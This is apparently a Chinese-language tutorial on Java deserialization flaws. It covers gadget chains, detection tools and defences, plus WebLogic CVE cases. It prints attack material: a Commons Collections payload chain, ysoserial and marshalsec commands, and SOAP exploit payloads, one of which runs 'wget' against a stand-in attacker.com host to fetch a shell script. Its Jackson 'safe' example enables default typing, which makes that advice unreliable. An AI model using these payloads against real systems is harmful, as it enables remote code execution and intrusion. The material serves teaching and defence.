目录
1. 什么是 Java 反序列化
1.1 序列化和反序列化
-
序列化 (Serialization):将 Java 对象转换为字节序列的过程,便于存储或网络传输
-
反序列化 (Deserialization):将字节序列恢复为 Java 对象的过程
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
oos.writeObject(myObject);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
MyObject obj = (MyObject) ois.readObject();
1.2 危险函数
| 函数 | 说明 |
|---|---|
ObjectInputStream.readObject() |
最常用的反序列化入口 |
XMLDecoder.readObject() |
XML 格式反序列化 |
YAML.load() |
YAML 反序列化 |
JSON.parseObject() |
JSON 反序列化(通常较安全) |
2. 漏洞原理
2.1 核心问题
反序列化时,Java 会自动调用对象的 readObject() 方法,如果攻击者精心构造恶意序列化数据,可以:
-
触发 Gadget Chain:利用一系列可被反射调用的"小工具"类
-
执行任意代码:通过构造函数、setter、方法调用链实现 RCE
2.2 利用条件
反序列化漏洞利用条件:
1. 目标使用 ObjectInputStream 且未过滤输入
2. 存在可利用的 Gadget Chain(应用中或依赖库中)
3. 攻击者能控制反序列化的数据来源
2.3 攻击流程
[攻击者] --恶意序列化数据--> [服务器] --readObject()--> [触发Gadget] --> [RCE]
3. 常见利用链
3.1 Apache Commons Collections (CC)
最经典的利用链,JDK < 8u20 可用:
// 简化版 Payload 构造
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Object[]{new String[]{"calc.exe"}})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map map = TransformedMap.decorate(new HashMap(), null, chain);
3.2 Spring Framework
-
SpringAOP利用链 -
Spring Beans利用链
3.3 JDK 原生
-
jdk.nashorn.internal.runtime.Und -
javax.script.ScriptEngineManager
3.4 第三方库
| 库 | 利用类 |
|---|---|
| Groovy | GroovyShell |
| BlazeDS | SerializationHint |
| Hibernate | hibernate-core |
4. 漏洞检测与利用
4.1 工具
4.1.1 ysoserial
最著名的利用工具:
# 生成 CC1 利用链
java -jar ysoserial.jar CommonsCollections1 "命令" > payload.ser
# 生成 URLDNS 利用链(探测用)
java -jar ysoserial.jar URLDNS "http://xxxx.dnslog.cn" > payload.ser
4.1.2 marshalsec
# 启动 LDAP/RMI 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "命令"
4.2 检测方法
4.2.1 DNS 探测
// 使用 URLDNS 链
java -jar ysoserial.jar URLDNS "http://{unique_id}.dnslog.cn"
4.2.2 Burp 插件
-
Java Deserialization Scanner
-
Freddy
4.2.3 代码审计
// 危险写法
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// 安全写法(需实现)
public class SafeObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) {
// 白名单校验
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class", desc.getName());
}
return super.resolveClass(desc);
}
}
5. 防护措施
5.1 最佳实践
| 防护措施 | 说明 |
|---|---|
| 不要反序列化不受信任的数据 | 核心原则 |
| 使用白名单 | 只允许反序列化特定类 |
| RASP 防护 | 运行时自保护 |
| SerialKiller | 社区提供的反序列化防护库 |
| 升级依赖 | 避免使用有漏洞的库版本 |
5.2 代码示例
5.2.1 使用 ObjectInputFilter (Java 9+)
ObjectInputFilter filter = info -> {
if (info.serialClass() != null) {
// 白名单
Set<String> whitelist = Set.of(
"com.example.MyClass",
"java.util.ArrayList"
);
return whitelist.contains(info.serialClass().getName())
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
}
return ObjectInputFilter.Status.UNDECIDED;
};
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);
5.2.2 使用 SerialKiller
ObjectInputStream ois = new ObjectInputStream(inputStream);
SerialKiller sk = new SerialKiller(ois, "/path/to_serialkiller.conf");
// 配置文件中定义黑白名单
Object obj = sk.readObject();
5.2.3 替代方案
-
JSON 替代 Java 序列化
-
Protocol Buffers
-
Jackson + 配置
// 使用 Jackson,设置允许的类型
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
mapper.registerSubtypes(new NamedType(SafeClass.class, "safe"));
5.3 网络层面
# WAF 规则示例(检测序列化特征)
# 检测 Java 序列化魔数 (0xac 0xed 0x00 0x05)
if ($http_content_type ~ "application/x-java-serialized-object") {
deny;
}
6. 实战案例
6.1 CVE-2015-4852 (WebLogic)
<!-- 漏洞利用示例 -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>whoami</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Body>
</soapenv:Envelope>
6.2 CVE-2017-10271 (WebLogic XMLDecoder)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>wget http://attacker.com/shell.sh -O /tmp/shell.sh</string>
</void>
</object>
</java>
</soapenv:Body>
</soapenv:Envelope>
6.3 CVE-2018-2628 (WebLogic T3)
# Python 利用脚本简化版
import socket
def exploit(target, command):
t3_header = b'\x00\x00\x09\x01\x00\x00\x00\x00\x00\x00\x00\x00'
# ... 构建恶意序列化 payload
sock.send(t3_header + payload)
7. 学习资源
7.1 经典论文
-
《Java Deserialization Attack》 - Frohoff & Lawrence
-
《Paper: Java Unmarshaller Security》 - Moritz Bechler
7.2 靶场
| 靶场 | 地址 |
|---|---|
| Java deserialization Lab | https://github.com/NickstaDB/DeserializationLab |
| WebGoat | https://owasp.org/www-project-webgoat/ |
| Vulfocus | https://vulfocus.cn/ |
7.3 工具集
| 工具 | 用途 |
|---|---|
| ysoserial | 生成 Payload |
| marshalsec | LDAP/RMI 服务器 |
| SerialKiller | 防护库 |
| jndi-tool | JNDI 注入利用 |
| super-serialization | 深度分析 |
7.4 进一步学习
-
深入理解 Java 反射机制
-
学习常见 Gadget Chain 的构建原理
-
掌握 RASP 原理和实现
-
关注 CVE 漏洞披露和补丁分析
附录:A. 序列化安全配置检查清单
- 确认所有反序列化入口点
- 审查依赖库版本
- 实施反序列化白名单
- 部署 RASP 防护
- 定期扫描 CVE
- 记录反序列化日志
- 使用替代序列化方案